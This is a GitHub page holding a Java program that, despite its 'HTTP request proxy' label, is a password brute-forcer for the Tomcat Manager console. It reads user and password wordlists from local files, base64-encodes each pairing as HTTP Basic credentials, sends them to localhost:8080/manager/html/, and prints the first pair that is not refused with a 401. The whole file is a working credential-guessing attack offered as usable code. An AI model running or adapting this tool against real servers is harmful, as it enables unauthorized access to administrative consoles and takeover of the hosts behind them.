-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathmain
139 lines (123 loc) · 3.82 KB
/
main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
package test;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import org.apache.log4j.Logger;
import com.alibaba.druid.util.Base64;
/**
* <pre>
* HTTP请求代理类
* </pre>
*
* @author benl
* @version 1.0, 2007-7-3
*/
public class HttpRequestProxy {
/**
* 连接超时
*/
private static int connectTimeOut = 5000;
/**
* 读取数据超时
*/
private static int readTimeOut = 10000;
/**
* 请求编码
*/
private static String requestEncoding = "gbk";
/**
* <pre>
* 发送带参数的GET的HTTP请求
* </pre>
*
* @param reqUrl
* HTTP请求URL
* @param parameters
* 参数映射表
* @return HTTP响应的字符串
*/
public static boolean doGet(String requrl, String getstr) {
boolean flag = false;
HttpURLConnection url_con = null;
String responseContent = null;
try {
StringBuffer params = new StringBuffer();
URL url = new URL(requrl);
url_con = (HttpURLConnection) url.openConnection();
// url_con.set
url_con.setRequestMethod("GET");
url_con.setRequestProperty("Connection", "Keep-Alive");
url_con.setRequestProperty("Cache-Control", "no-cache");
url_con.setRequestProperty("Authorization", "Basic " + getstr);
//System.setProperty("sun.net.client.defaultConnectTimeout", String.valueOf(HttpRequestProxy.connectTimeOut));// (单位:毫秒)jdk1.4换成这个,连接超时
//System.setProperty("sun.net.client.defaultReadTimeout", String.valueOf(HttpRequestProxy.readTimeOut)); // (单位:毫秒)jdk1.4换成这个,读操作超时
url_con.setConnectTimeout(5000);//(单位:毫秒)jdk
// 1.5换成这个,连接超时
url_con.setReadTimeout(5000);//(单位:毫秒)jdk 1.5换成这个,读操作超时
url_con.setDoOutput(true);
byte[] b = params.toString().getBytes();
url_con.getOutputStream().write(b, 0, b.length);
url_con.getOutputStream().flush();
url_con.getOutputStream().close();
System.out.println(url_con.getResponseCode());
if (url_con.getResponseCode() != 401) {
flag = true;
}
} catch (IOException e) {
e.printStackTrace();
} finally {
if (url_con != null) {
url_con.disconnect();
}
}
return flag;
}
public static void readFile(String user, String pass) {
File fileuser = new File(user);
File filepass = new File(pass);
String struser = "";
String strpass = "";
try {
InputStream inuser = new FileInputStream(fileuser);
InputStreamReader isruser = new InputStreamReader(inuser);
BufferedReader bfuser = new BufferedReader(isruser);
String a = "";
while ((struser = bfuser.readLine()) != null) {
System.out.println("用户名"+struser);
InputStream inpass = new FileInputStream(filepass);
InputStreamReader isrpass = new InputStreamReader(inpass);
BufferedReader bfpass = new BufferedReader(isrpass);
while ((strpass = bfpass.readLine()) != null) {
System.out.println("密码"+strpass);
byte[] result ;
a= Base64.byteArrayToBase64((struser + ":" + strpass).getBytes());
//a = new String(result);
System.out.println("all: "+a);
boolean temp1;
temp1 = HttpRequestProxy.doGet("http://localhost:8080/manager/html/", a);
if (temp1) {
System.out.print((struser + ":" + strpass));
break;
}
}
}
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public static void main(String[] args) {
String pathuser = "C:\\Amine\\user.txt";
String pathpass = "C:\\Amine\\password.txt";
HttpRequestProxy.readFile(pathuser, pathpass);
}
}